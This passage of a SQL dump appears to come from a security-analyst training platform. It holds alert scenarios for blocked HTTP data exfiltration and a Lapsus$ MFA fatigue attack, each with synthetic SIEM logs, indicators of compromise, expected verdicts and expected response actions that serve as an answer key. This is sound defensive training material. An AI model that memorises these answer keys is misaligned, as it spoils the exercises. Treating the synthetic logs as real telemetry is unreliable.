server.\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"192.168.1.102\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Network\",\"verdict\":\"internal\",\"details\":\"Compromised host within the organization.\"}},{\"id\":\"artifact_3\",\"type\":\"filename\",\"value\":\"confidential_data.zip\",\"is_critical\":true,\"osint_result\":{\"source\":\"Internal DLP System\",\"verdict\":\"suspicious\",\"details\":\"Sensitive document containing classified information.\"}},{\"id\":\"artifact_4\",\"type\":\"hash\",\"value\":\"b2f5ff47436671b6e533d8dc3614845d\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"suspicious\",\"details\":\"File hash associated with data exfiltration attempts.\"}},{\"id\":\"artifact_5\",\"type\":\"url\",\"value\":\"http://maliciousdomain.com/upload\",\"is_critical\":true,\"osint_result\":{\"source\":\"Open Threat Exchange\",\"verdict\":\"malicious\",\"details\":\"Malware distribution and data exfiltration site used by APT29.\"}},{\"id\":\"artifact_6\",\"type\":\"username\",\"value\":\"jdoe\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal User Directory\",\"verdict\":\"internal\",\"details\":\"Employee account used for unauthorized data access.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\"]}', 'intermediate', 'TI', 1, 0, NULL, NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-02-01T20:32:22.556Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-15T14:32:05Z\\\",\\\"source_ip\\\":\\\"203.0.113.45\\\",\\\"destination_ip\\\":\\\"192.168.1.102\\\",\\\"filename\\\":\\\"confidential_data.zip\\\",\\\"file_hash\\\":\\\"b2f5ff47436671b6e533d8dc3614845d\\\",\\\"user\\\":\\\"jdoe\\\",\\\"exfiltration_method\\\":\\\"HTTP POST\\\",\\\"action\\\":\\\"blocked\\\",\\\"alert_id\\\":\\\"DLP-20231015-1025\\\",\\\"additional_info\\\":{\\\"url\\\":\\\"http://maliciousdomain.com/upload\\\",\\\"protocol\\\":\\\"HTTP\\\",\\\"bytes_transferred\\\":10485760}}\"},{\"timestamp\":\"2026-02-01T20:31:22.556Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-15T14:32:05Z\\\",\\\"source_ip\\\":\\\"203.0.113.45\\\",\\\"destination_ip\\\":\\\"192.168.1.102\\\",\\\"filename\\\":\\\"confidential_data.zip\\\",\\\"file_hash\\\":\\\"b2f5ff47436671b6e533d8dc3614845d\\\",\\\"user\\\":\\\"jdoe\\\",\\\"exfiltration_method\\\":\\\"HTTP POST\\\",\\\"action\\\":\\\"blocked\\\",\\\"alert_id\\\":\\\"DLP-20231015-1025\\\",\\\"additional_info\\\":{\\\"url\\\":\\\"http://maliciousdomain.com/upload\\\",\\\"protocol\\\":\\\"HTTP\\\",\\\"bytes_transferred\\\":10485760}}\"},{\"timestamp\":\"2026-02-01T20:30:22.556Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-15T14:32:05Z\\\",\\\"source_ip\\\":\\\"203.0.113.45\\\",\\\"destination_ip\\\":\\\"192.168.1.102\\\",\\\"filename\\\":\\\"confidential_data.zip\\\",\\\"file_hash\\\":\\\"b2f5ff47436671b6e533d8dc3614845d\\\",\\\"user\\\":\\\"jdoe\\\",\\\"exfiltration_method\\\":\\\"HTTP POST\\\",\\\"action\\\":\\\"blocked\\\",\\\"alert_id\\\":\\\"DLP-20231015-1025\\\",\\\"additional_info\\\":{\\\"url\\\":\\\"http://maliciousdomain.com/upload\\\",\\\"protocol\\\":\\\"HTTP\\\",\\\"bytes_transferred\\\":10485760}}\"},{\"timestamp\":\"2026-02-01T20:29:22.556Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-15T14:32:05Z\\\",\\\"source_ip\\\":\\\"203.0.113.45\\\",\\\"destination_ip\\\":\\\"192.168.1.102\\\",\\\"filename\\\":\\\"confidential_data.zip\\\",\\\"file_hash\\\":\\\"b2f5ff47436671b6e533d8dc3614845d\\\",\\\"user\\\":\\\"jdoe\\\",\\\"exfiltration_method\\\":\\\"HTTP POST\\\",\\\"action\\\":\\\"blocked\\\",\\\"alert_id\\\":\\\"DLP-20231015-1025\\\",\\\"additional_info\\\":{\\\"url\\\":\\\"http://maliciousdomain.com/upload\\\",\\\"protocol\\\":\\\"HTTP\\\",\\\"bytes_transferred\\\":10485760}}\"},{\"timestamp\":\"2026-02-01T20:28:22.556Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-15T14:32:05Z\\\",\\\"source_ip\\\":\\\"203.0.113.45\\\",\\\"destination_ip\\\":\\\"192.168.1.102\\\",\\\"filename\\\":\\\"confidential_data.zip\\\",\\\"file_hash\\\":\\\"b2f5ff47436671b6e533d8dc3614845d\\\",\\\"user\\\":\\\"jdoe\\\",\\\"exfiltration_method\\\":\\\"HTTP POST\\\",\\\"action\\\":\\\"blocked\\\",\\\"alert_id\\\":\\\"DLP-20231015-1025\\\",\\\"additional_info\\\":{\\\"url\\\":\\\"http://maliciousdomain.com/upload\\\",\\\"protocol\\\":\\\"HTTP\\\",\\\"bytes_transferred\\\":10485760}}\"}],\"query\":\"index=main source=\\\"/var/log/syslog\\\" | head 100\"}}', 0),
(885, 'Initial Access via MFA Fatigue Attack', 'high', 'MFA logs', 'Lapsus$ initiates the attack by bombarding a contractor\'s MFA with repeated requests, causing fatigue and eventual approval. This technique is aimed at bypassing multi-factor authentication through repeated attempts, leading the target to inadvertently approve access.', 'Credential Access', 'T1110.001', 1, 'new', NULL, '{\"timestamp\":\"2023-10-25T14:32:11Z\",\"event_type\":\"MFA Request\",\"user\":\"j.doe@contractor.com\",\"user_role\":\"Contractor\",\"source_ip\":\"45.67.89.101\",\"destination_ip\":\"10.0.5.12\",\"mfa_method\":\"push_notification\",\"request_count\":50,\"final_action\":\"approved\",\"device\":{\"device_id\":\"device123\",\"os\":\"iOS\",\"os_version\":\"14.8\"},\"user_agent\":\"Mozilla/5.0 (iPhone; CPU iPhone OS 14_8 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148\"}', '2026-01-15 00:57:25', '2026-02-14 16:52:12', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"45.67.89.101\",\"is_critical\":true,\"osint_result\":{\"source\":\"Threat Intelligence Feed\",\"verdict\":\"malicious\",\"details\":\"Known IP associated with Lapsus$ operations.\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"10.0.5.12\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Asset Inventory\",\"verdict\":\"internal\",\"details\":\"Corporate VPN gateway.\"}},{\"id\":\"artifact_3\",\"type\":\"username\",\"value\":\"j.doe@contractor.com\",\"is_critical\":true,\"osint_result\":{\"source\":\"Internal HR Database\",\"verdict\":\"clean\",\"details\":\"Current contractor with valid credentials.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"block_ip\",\"reset_credentials\",\"escalate\"]}', 'advanced', 'SIEM', 1, 0, NULL, NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-02-01T20:32:22.557Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-25T14:32:11Z\\\",\\\"event_type\\\":\\\"MFA Request\\\",\\\"user\\\":\\\"j.doe@contractor.com\\\",\\\"user_role\\\":\\\"Contractor\\\",\\\"source_ip\\\":\\\"45.67.89.101\\\",\\\"destination_ip\\\":\\\"10.0.5.12\\\",\\\"mfa_method\\\":\\\"push_notification\\\",\\\"request_count\\\":50,\\\"final_action\\\":\\\"approved\\\",\\\"device\\\":{\\\"device_id\\\":\\\"device123\\\",\\\"os\\\":\\\"iOS\\\",\\\"os_version\\\":\\\"14.8\\\"},\\\"user_agent\\\":\\\"Mozilla/5.0 (iPhone; CPU iPhone OS 14_8 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148\\\"}\"},{\"timestamp\":\"2026-02-01T20:31:22.557Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-25T14:32:11Z\\\",\\\"event_type\\\":\\\"MFA Request\\\",\\\"user\\\":\\\"j.doe@contractor.com\\\",\\\"user_role\\\":\\\"Contractor\\\",\\\"source_ip\\\":\\\"45.67.89.101\\\",\\\"destination_ip\\\":\\\"10.0.5.12\\\",\\\"mfa_method\\\":\\\"push_notification\\\",\\\"request_count\\\":50,\\\"final_action\\\":\\\"approved\\\",\\\"device\\\":{\\\"device_id\\\":\\\"device123\\\",\\\"os\\\":\\\"iOS\\\",\\\"os_version\\\":\\\"14.8\\\"},\\\"user_agent\\\":\\\"Mozilla/5.0 (iPhone; CPU iPhone OS 14_8 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148\\\"}\"},{\"timestamp\":\"2026-02-01T20:30:22.557Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-25T14:32:11Z\\\",\\\"event_type\\\":\\\"MFA Request\\\",\\\"user\\\":\\\"j.doe@contractor.com\\\",\\\"user_role\\\":\\\"Contractor\\\",\\\"source_ip\\\":\\\"45.67.89.101\\\",\\\"destination_ip\\\":\\\"10.0.5.12\\\",\\\"mfa_method\\\":\\\"push_notification\\\",\\\"request_count\\\":50,\\\"final_action\\\":\\\"approved\\\",\\\"device\\\":{\\\"device_id\\\":\\\"device123\\\",\\\"os\\\":\\\"iOS\\\",\\\"os_version\\\":\\\"14.8\\\"},\\\"user_agent\\\":\\\"Mozilla/5.0 (iPhone; CPU iPhone OS 14_8 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148\\\"}\"},{\"timestamp\":\"2026-02-01T20:29:22.557Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-25T14:32:11Z\\\",\\\"event_type\\\":\\\"MFA Request\\\",\\\"user\\\":\\\"j.doe@contractor.com\\\",\\\"user_role\\\":\\\"Contractor\\\",\\\"source_ip\\\":\\\"45.67.89.101\\\",\\\"destination_ip\\\":\\\"10.0.5.12\\\",\\\"mfa_method\\\":\\\"push_notification\\\",\\\"request_count\\\":50,\\\"final_action\\\":\\\"approved\\\",\\\"device\\\":{\\\"device_id\\\":\\\"device123\\\",\\\"os\\\":\\\"iOS\\\",\\\"os_version\\\":\\\"14.8\\\"},\\\"user_agent\\\":\\\"Mozilla/5.0 (iPhone; CPU iPhone OS 14_8 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148\\\"}\"},{\"timestamp\":\"2026-02-01T20:28:22.557Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-25T14:32:11Z\\\",\\\"event_type\\\":\\\"MFA Request\\\",\\\"user\\\":\\\"j.doe@contractor.com\\\",\\\"user_role\\\":\\\"Contractor\\\",\\\"source_ip\\\":\\\"45.67.89.101\\\",\\\"destination_ip\\\":\\\"10.0.5.12\\\",\\\"mfa_method\\\":\\\"push_notification\\\",\\\"request_count\\\":50,\\\"final_action\\\":\\\"approved\\\",\\\"device\\\":{\\\"device_id\\\":\\\"device123\\\",\\\"os\\\":\\\"iOS\\\",\\\"os_version\\\":\\\"14.8\\\"},\\\"user_agent\\\":\\\"Mozilla/5.0 (iPhone; CPU iPhone OS 14_8 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148\\\"}\"}],\"query\":\"index=main source=\\\"/var/log/syslog\\\" | head 100\"}}', 0);
